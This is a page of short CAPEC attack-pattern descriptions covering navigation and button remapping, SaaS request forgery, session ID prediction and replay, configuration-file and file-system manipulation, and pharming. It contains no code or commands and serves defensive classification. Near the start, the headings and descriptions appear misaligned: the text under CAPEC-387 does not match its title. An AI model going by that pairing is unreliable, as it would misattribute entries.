An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.